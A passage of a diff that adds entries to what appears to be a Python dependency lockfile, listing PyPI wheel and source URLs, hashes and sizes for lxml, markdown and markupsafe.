"https://files.pythonhosted.org/packages/60/23/6885b451636ae286c34628f70a7ed1fcc759f8d9ad382d132e1c8d3d9bfd/lxml-6.0.2-cp314-cp314-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:a4bf42d2e4cf52c28cc1812d62426b9503cdb0c87a6de81442626aa7d69707ba", size = 5352421, upload-time = "2025-09-22T04:02:40.413Z" }, + { url = "https://files.pythonhosted.org/packages/48/5b/fc2ddfc94ddbe3eebb8e9af6e3fd65e2feba4967f6a4e9683875c394c2d8/lxml-6.0.2-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2c7fdaa4d7c3d886a42534adec7cfac73860b89b4e5298752f60aa5984641a0", size = 5673684, upload-time = "2025-09-22T04:02:42.288Z" }, + { url = "https://files.pythonhosted.org/packages/29/9c/47293c58cc91769130fbf85531280e8cc7868f7fbb6d92f4670071b9cb3e/lxml-6.0.2-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98a5e1660dc7de2200b00d53fa00bcd3c35a3608c305d45a7bbcaf29fa16e83d", size = 5252463, upload-time = "2025-09-22T04:02:44.165Z" }, + { url = "https://files.pythonhosted.org/packages/9b/da/ba6eceb830c762b48e711ded880d7e3e89fc6c7323e587c36540b6b23c6b/lxml-6.0.2-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:dc051506c30b609238d79eda75ee9cab3e520570ec8219844a72a46020901e37", size = 4698437, upload-time = "2025-09-22T04:02:46.524Z" }, + { url = "https://files.pythonhosted.org/packages/a5/24/7be3f82cb7990b89118d944b619e53c656c97dc89c28cfb143fdb7cd6f4d/lxml-6.0.2-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:8799481bbdd212470d17513a54d568f44416db01250f49449647b5ab5b5dccb9", size = 5269890, upload-time = "2025-09-22T04:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/1b/bd/dcfb9ea1e16c665efd7538fc5d5c34071276ce9220e234217682e7d2c4a5/lxml-6.0.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9261bb77c2dab42f3ecd9103951aeca2c40277701eb7e912c545c1b16e0e4917", size = 5097185, upload-time = "2025-09-22T04:02:50.746Z" }, + { url = "https://files.pythonhosted.org/packages/21/04/a60b0ff9314736316f28316b694bccbbabe100f8483ad83852d77fc7468e/lxml-6.0.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:65ac4a01aba353cfa6d5725b95d7aed6356ddc0a3cd734de00124d285b04b64f", size = 4745895, upload-time = "2025-09-22T04:02:52.968Z" }, + { url = "https://files.pythonhosted.org/packages/d6/bd/7d54bd1846e5a310d9c715921c5faa71cf5c0853372adf78aee70c8d7aa2/lxml-6.0.2-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b22a07cbb82fea98f8a2fd814f3d1811ff9ed76d0fc6abc84eb21527596e7cc8", size = 5695246, upload-time = "2025-09-22T04:02:54.798Z" }, + { url = "https://files.pythonhosted.org/packages/fd/32/5643d6ab947bc371da21323acb2a6e603cedbe71cb4c99c8254289ab6f4e/lxml-6.0.2-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d759cdd7f3e055d6bc8d9bec3ad905227b2e4c785dc16c372eb5b5e83123f48a", size = 5260797, upload-time = "2025-09-22T04:02:57.058Z" }, + { url = "https://files.pythonhosted.org/packages/33/da/34c1ec4cff1eea7d0b4cd44af8411806ed943141804ac9c5d565302afb78/lxml-6.0.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:945da35a48d193d27c188037a05fec5492937f66fb1958c24fc761fb9d40d43c", size = 5277404, upload-time = "2025-09-22T04:02:58.966Z" }, + { url = "https://files.pythonhosted.org/packages/82/57/4eca3e31e54dc89e2c3507e1cd411074a17565fa5ffc437c4ae0a00d439e/lxml-6.0.2-cp314-cp314-win32.whl", hash = "sha256:be3aaa60da67e6153eb15715cc2e19091af5dc75faef8b8a585aea372507384b", size = 3670072, upload-time = "2025-09-22T04:03:38.05Z" }, + { url = "https://files.pythonhosted.org/packages/e3/e0/c96cf13eccd20c9421ba910304dae0f619724dcf1702864fd59dd386404d/lxml-6.0.2-cp314-cp314-win_amd64.whl", hash = "sha256:fa25afbadead523f7001caf0c2382afd272c315a033a7b06336da2637d92d6ed", size = 4080617, upload-time = "2025-09-22T04:03:39.835Z" }, + { url = "https://files.pythonhosted.org/packages/d5/5d/b3f03e22b3d38d6f188ef044900a9b29b2fe0aebb94625ce9fe244011d34/lxml-6.0.2-cp314-cp314-win_arm64.whl", hash = "sha256:063eccf89df5b24e361b123e257e437f9e9878f425ee9aae3144c77faf6da6d8", size = 3754930, upload-time = "2025-09-22T04:03:41.565Z" }, + { url = "https://files.pythonhosted.org/packages/5e/5c/42c2c4c03554580708fc738d13414801f340c04c3eff90d8d2d227145275/lxml-6.0.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:6162a86d86893d63084faaf4ff937b3daea233e3682fb4474db07395794fa80d", size = 8910380, upload-time = "2025-09-22T04:03:01.645Z" }, + { url = "https://files.pythonhosted.org/packages/bf/4f/12df843e3e10d18d468a7557058f8d3733e8b6e12401f30b1ef29360740f/lxml-6.0.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:414aaa94e974e23a3e92e7ca5b97d10c0cf37b6481f50911032c69eeb3991bba", size = 4775632, upload-time = "2025-09-22T04:03:03.814Z" }, + { url = "https://files.pythonhosted.org/packages/e4/0c/9dc31e6c2d0d418483cbcb469d1f5a582a1cd00a1f4081953d44051f3c50/lxml-6.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48461bd21625458dd01e14e2c38dd0aea69addc3c4f960c30d9f59d7f93be601", size = 4975171, upload-time = "2025-09-22T04:03:05.651Z" }, + { url = "https://files.pythonhosted.org/packages/e7/2b/9b870c6ca24c841bdd887504808f0417aa9d8d564114689266f19ddf29c8/lxml-6.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:25fcc59afc57d527cfc78a58f40ab4c9b8fd096a9a3f964d2781ffb6eb33f4ed", size = 5110109, upload-time = "2025-09-22T04:03:07.452Z" }, + { url = "https://files.pythonhosted.org/packages/bf/0c/4f5f2a4dd319a178912751564471355d9019e220c20d7db3fb8307ed8582/lxml-6.0.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5179c60288204e6ddde3f774a93350177e08876eaf3ab78aa3a3649d43eb7d37", size = 5041061, upload-time = "2025-09-22T04:03:09.297Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/554eed290365267671fe001a20d72d14f468ae4e6acef1e179b039436967/lxml-6.0.2-cp314-cp314t-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:967aab75434de148ec80597b75062d8123cadf2943fb4281f385141e18b21338", size = 5306233, upload-time = "2025-09-22T04:03:11.651Z" }, + { url = "https://files.pythonhosted.org/packages/7a/31/1d748aa275e71802ad9722df32a7a35034246b42c0ecdd8235412c3396ef/lxml-6.0.2-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d100fcc8930d697c6561156c6810ab4a508fb264c8b6779e6e61e2ed5e7558f9", size = 5604739, upload-time = "2025-09-22T04:03:13.592Z" }, + { url = "https://files.pythonhosted.org/packages/8f/41/2c11916bcac09ed561adccacceaedd2bf0e0b25b297ea92aab99fd03d0fa/lxml-6.0.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2ca59e7e13e5981175b8b3e4ab84d7da57993eeff53c07764dcebda0d0e64ecd", size = 5225119, upload-time = "2025-09-22T04:03:15.408Z" }, + { url = "https://files.pythonhosted.org/packages/99/05/4e5c2873d8f17aa018e6afde417c80cc5d0c33be4854cce3ef5670c49367/lxml-6.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:957448ac63a42e2e49531b9d6c0fa449a1970dbc32467aaad46f11545be9af1d", size = 4633665, upload-time = "2025-09-22T04:03:17.262Z" }, + { url = "https://files.pythonhosted.org/packages/0f/c9/dcc2da1bebd6275cdc723b515f93edf548b82f36a5458cca3578bc899332/lxml-6.0.2-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b7fc49c37f1786284b12af63152fe1d0990722497e2d5817acfe7a877522f9a9", size = 5234997, upload-time = "2025-09-22T04:03:19.14Z" }, + { url = "https://files.pythonhosted.org/packages/9c/e2/5172e4e7468afca64a37b81dba152fc5d90e30f9c83c7c3213d6a02a5ce4/lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e", size = 5090957, upload-time = "2025-09-22T04:03:21.436Z" }, + { url = "https://files.pythonhosted.org/packages/a5/b3/15461fd3e5cd4ddcb7938b87fc20b14ab113b92312fc97afe65cd7c85de1/lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d", size = 4764372, upload-time = "2025-09-22T04:03:23.27Z" }, + { url = "https://files.pythonhosted.org/packages/05/33/f310b987c8bf9e61c4dd8e8035c416bd3230098f5e3cfa69fc4232de7059/lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec", size = 5634653, upload-time = "2025-09-22T04:03:25.767Z" }, + { url = "https://files.pythonhosted.org/packages/70/ff/51c80e75e0bc9382158133bdcf4e339b5886c6ee2418b5199b3f1a61ed6d/lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272", size = 5233795, upload-time = "2025-09-22T04:03:27.62Z" }, + { url = "https://files.pythonhosted.org/packages/56/4d/4856e897df0d588789dd844dbed9d91782c4ef0b327f96ce53c807e13128/lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f", size = 5257023, upload-time = "2025-09-22T04:03:30.056Z" }, + { url = "https://files.pythonhosted.org/packages/0f/85/86766dfebfa87bea0ab78e9ff7a4b4b45225df4b4d3b8cc3c03c5cd68464/lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312", size = 3911420, upload-time = "2025-09-22T04:03:32.198Z" }, + { url = "https://files.pythonhosted.org/packages/fe/1a/b248b355834c8e32614650b8008c69ffeb0ceb149c793961dd8c0b991bb3/lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca", size = 4406837, upload-time = "2025-09-22T04:03:34.027Z" }, + { url = "https://files.pythonhosted.org/packages/92/aa/df863bcc39c5e0946263454aba394de8a9084dbaff8ad143846b0d844739/lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c", size = 3822205, upload-time = "2025-09-22T04:03:36.249Z" }, + { url = "https://files.pythonhosted.org/packages/e7/9c/780c9a8fce3f04690b374f72f41306866b0400b9d0fdf3e17aaa37887eed/lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6", size = 3939264, upload-time = "2025-09-22T04:04:32.892Z" }, + { url = "https://files.pythonhosted.org/packages/f5/5a/1ab260c00adf645d8bf7dec7f920f744b032f69130c681302821d5debea6/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba", size = 4216435, upload-time = "2025-09-22T04:04:34.907Z" }, + { url = "https://files.pythonhosted.org/packages/f2/37/565f3b3d7ffede22874b6d86be1a1763d00f4ea9fc5b9b6ccb11e4ec8612/lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5", size = 4325913, upload-time = "2025-09-22T04:04:37.205Z" }, + { url = "https://files.pythonhosted.org/packages/22/ec/f3a1b169b2fb9d03467e2e3c0c752ea30e993be440a068b125fc7dd248b0/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4", size = 4269357, upload-time = "2025-09-22T04:04:39.322Z" }, + { url = "https://files.pythonhosted.org/packages/77/a2/585a28fe3e67daa1cf2f06f34490d556d121c25d500b10082a7db96e3bcd/lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d", size = 4412295, upload-time = "2025-09-22T04:04:41.647Z" }, + { url = "https://files.pythonhosted.org/packages/7b/d9/a57dd8bcebd7c69386c20263830d4fa72d27e6b72a229ef7a48e88952d9a/lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d", size = 3516913, upload-time = "2025-09-22T04:04:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/0b/11/29d08bc103a62c0eba8016e7ed5aeebbf1e4312e83b0b1648dd203b0e87d/lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700", size = 3949829, upload-time = "2025-09-22T04:04:45.608Z" }, + { url = "https://files.pythonhosted.org/packages/12/b3/52ab9a3b31e5ab8238da241baa19eec44d2ab426532441ee607165aebb52/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee", size = 4226277, upload-time = "2025-09-22T04:04:47.754Z" }, + { url = "https://files.pythonhosted.org/packages/a0/33/1eaf780c1baad88224611df13b1c2a9dfa460b526cacfe769103ff50d845/lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f", size = 4330433, upload-time = "2025-09-22T04:04:49.907Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c1/27428a2ff348e994ab4f8777d3a0ad510b6b92d37718e5887d2da99952a2/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9", size = 4272119, upload-time = "2025-09-22T04:04:51.801Z" }, + { url = "https://files.pythonhosted.org/packages/f0/d0/3020fa12bcec4ab62f97aab026d57c2f0cfd480a558758d9ca233bb6a79d/lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a", size = 4417314, upload-time = "2025-09-22T04:04:55.024Z" }, + { url = "https://files.pythonhosted.org/packages/6c/77/d7f491cbc05303ac6801651aabeb262d43f319288c1ea96c66b1d2692ff3/lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e", size = 3518768, upload-time = "2025-09-22T04:04:57.097Z" }, +] + +[[package]] +name = "markdown" +version = "3.10.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2b/f4/69fa6ed85ae003c2378ffa8f6d2e3234662abd02c10d216c0ba96081a238/markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950", size = 368805, upload-time = "2026-02-09T14:57:26.942Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/1f/77fa3081e4f66ca3576c896ae5d31c3002ac6607f9747d2e3aa49227e464/markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36", size = 108180, upload-time = "2026-02-09T14:57:25.787Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, + { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, + { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, + { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, + { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, + { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, + { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, + { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, + { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, + { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" }, + { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" }, + { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" }, + { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" }, + { url = "https://files.pythonhosted.org/packages/0f/62/d9c46a7f5c9adbeeeda52f5b8d802e1094e9717705a645efc71b0913a0a8/markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19", size = 14572, upload-time = "2025-09-27T18:36:28.045Z" }, + { url = "https://files.pythonhosted.org/packages/83/8a/4414c03d3f891739326e1783338e48fb49781cc915b2e0ee052aa490d586/markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01", size = 15077, upload-time = "2025-09-27T18:36:29.025Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/893072b42e6862f319b5207adc9ae06070f095b358655f077f69a35601f0/markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c", size = 13876, upload-time = "2025-09-27T18:36:29.954Z" }, + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = 